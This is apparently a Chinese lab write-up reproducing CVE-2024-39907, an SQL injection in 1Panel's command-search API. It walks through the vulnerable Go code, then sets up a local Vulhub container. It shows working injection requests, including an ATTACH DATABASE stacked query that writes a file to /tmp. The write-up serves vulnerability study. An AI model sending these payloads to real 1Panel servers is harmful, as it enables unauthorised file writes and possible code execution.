Vulhub 打靶日记
1Panel
CVE-2024-39907
1Panel在1.10.12-tls以前的版本中存在SQL注入漏洞,其原因是未能校验用户输入的OrderBy参数,直接拼接用户输入进SQL语句,导致任意文件写入,从而导致RCE
漏洞分析
版本: v1.10.10-lts
1Panel中有主机 -> 终端 -> 快速命令 -> 创建命令模块,在创建命令的时候会访问/hosts/command,调用对应的/api/v1/hosts/command接口和/api/v1/hosts/command/search接口.
/api/v1/hosts/command/search对应的代码:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
|
// @Tags Command
// @Summary Page commands
// @Description 获取快速命令列表分页
// @Accept json
// @Param request body dto.SearchWithPage true "request"
// @Success 200 {object} dto.PageResult
// @Security ApiKeyAuth
// @Router /hosts/command/search [post]
func (b *BaseApi) SearchCommand(c *gin.Context) {
var req dto.SearchCommandWithPage
if err := helper.CheckBindAndValidate(&req, c); err != nil {
return
}
total, list, err := commandService.SearchWithPage(req)
if err != nil {
helper.ErrorWithDetail(c, constant.CodeErrInternalServer, constant.ErrTypeInternalServer, err)
return
}
helper.SuccessWithData(c, dto.PageResult{
Items: list,
Total: total,
})
}
|
将传入的参数用SearchCommandWithPage格式化后传入SearchWithPage进行查询
去看看SearchWithPage是怎么实现的:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
|
// 路径: core/app/service/command.go
func (u *CommandService) SearchWithPage(req dto.SearchCommandWithPage) (int64, interface{}, error) {
options := []global.DBOption{
repo.WithOrderRuleBy(req.OrderBy, req.Order),
repo.WithByType(req.Type),
}
if len(req.Info) != 0 {
options = append(options, commandRepo.WithByInfo(req.Info))
}
if req.GroupID != 0 {
options = append(options, repo.WithByGroupID(req.GroupID))
}
total, commands, err := commandRepo.Page(req.Page, req.PageSize, options...)
if err != nil {
return 0, nil, err
}
groups, _ := groupRepo.GetList(repo.WithByType(req.Type))
var dtoCommands []dto.CommandInfo
for _, command := range commands {
var item dto.CommandInfo
if err := copier.Copy(&item, &command); err != nil {
return 0, nil, buserr.WithDetail("ErrStructTransform", err.Error(), nil)
}
for _, group := range groups {
if command.GroupID == group.ID {
item.GroupBelong = group.Name
item.GroupID = group.ID
}
}
dtoCommands = append(dtoCommands, item)
}
return total, dtoCommands, err
}
|
global.DBOption 是一个函数类型(例如 type DBOption func(*someConfig)),用于修改数据库查询的行为,
repo.WithOrderRuleBy(req.OrderBy, req.Order) 返回一个 DBOption,用于设置查询结果的排序规则(例如按 req.OrderBy 字段和 req.Order 方向排序)。
WithOrderRuleBy会进行查询操作,去看看具体实现:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
|
func WithOrderRuleBy(orderBy, order string) global.DBOption {
switch order {
case constant.OrderDesc:
order = "desc"
case constant.OrderAsc:
order = "asc"
default:
orderBy = "created_at"
order = "desc"
}
return func(g *gorm.DB) *gorm.DB {
return g.Order(fmt.Sprintf("%s %s", orderBy, order))
}
}
|
可以看到,这里传入了orderBy,switch是用来规范排序方向的,然后用fmt.Sprintf("%s %s", orderBy, order) 直接将orderBy拼接到 SQL 语句中.
可以清楚地看到,从SearchCommand->SearchWithPage->WithOrderRuleBy的过程中对用户传入的orderBy没有任何的过滤,完全原模原样的拼接进SQL语句中从而导致SQL注入漏洞
漏洞复现
使用vulhub来进行环境搭建
1
2
3
4
5
6
7
8
9
|
# 克隆仓库
git clone --depth 1 https://github.com/vulhub/vulhub.git
# 进入漏洞目录
cd vulhub/1panel/CVE-2024-39907
# 启动环境
docker compose up -d
或 podman-compose up -d
|
访问http://127.0.0.1:10086/entrance,用户名1panel,密码1panel_password进入靶场
这个漏洞需要登录后才能利用
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
|
POST /api/v1/hosts/command/search HTTP/1.1
Host: 127.0.0.1:10086
Content-Length: 93
sec-ch-ua: "Not;A=Brand";v="24", "Chromium";v="128"
Accept: application/json, text/plain, */*
sec-ch-ua-platform: "Linux"
Accept-Language: zh
sec-ch-ua-mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.6613.120 Safari/537.36
Content-Type: application/json
Origin: http://127.0.0.1:10086
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: http://127.0.0.1:10086/hosts/terminal
Accept-Encoding: gzip, deflate, br
Cookie: psession=ddda1b94-2026-4b18-905e-be584b1349bc
Connection: keep-alive
{"page":1,"pageSize":10,"groupID":0,"orderBy":"1' or 1 = 1 --","order":"ascending","name":""}
|
可以看到报错:
1
2
3
4
5
6
|
HTTP/1.1 200 OK
Content-Type: application/json; charset=utf-8
Date: Wed, 01 Apr 2026 10:15:20 GMT
Content-Length: 128
{"code":500,"message":"服务内部错误: SQL logic error: unrecognized token: \"' or 1 = 1 -- asc LIMIT 10\" (1)","data":null}
|
确认存在SQL注入漏洞
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
|
POST /api/v1/hosts/command/search HTTP/1.1
Host: 127.0.0.1:10086
Content-Length: 212
sec-ch-ua: "Not;A=Brand";v="24", "Chromium";v="128"
Accept: application/json, text/plain, */*
sec-ch-ua-platform: "Linux"
Accept-Language: zh
sec-ch-ua-mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.6613.120 Safari/537.36
Content-Type: application/json
Origin: http://127.0.0.1:10086
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: http://127.0.0.1:10086/hosts/terminal
Accept-Encoding: gzip, deflate, br
Cookie: psession=ddda1b94-2026-4b18-905e-be584b1349bc
Connection: keep-alive
{"page":1,"pageSize":10,"groupID":0,"orderBy":"3;ATTACH DATABASE '/tmp/randstr.txt' AS test;create TABLE test.exp (data text);create TABLE test.exp (data text);drop table test.exp;","order":"ascending","name":""}
|
进容器可以看到执行成功
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
|
╭─ eight in /vulhub/1panel/CVE-2024-39907 on (master)✔
╰─(๑˃̵ᴗ˂̵)و podman ps
CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES
2c02439ba18d docker.io/vulhub/1panel:1.10.10 /bin/bash -c /usr... About an hour ago Up About an hour 0.0.0.0:10086->10086/tcp cve-2024-39907_1panel_1
╭─ eight in /vulhub/1panel/CVE-2024-39907 on (master)✔
╰─(๑˃̵ᴗ˂̵)و podman exec -it /bin/sh exit:130
╭─ eight in /vulhub/1panel/CVE-2024-39907 on (master)✔
╰─(๑˃̵ᴗ˂̵)و podman exec -it 2c02439ba18d /bin/sh
# ls -la /tmp/
total 16
drwxrwxrwt 1 root root 4096 Apr 1 18:17 .
dr-xr-xr-x 1 root root 4096 Apr 1 17:12 ..
-rw-r--r-- 1 root root 8192 Apr 1 18:17 randstr.txt
#
|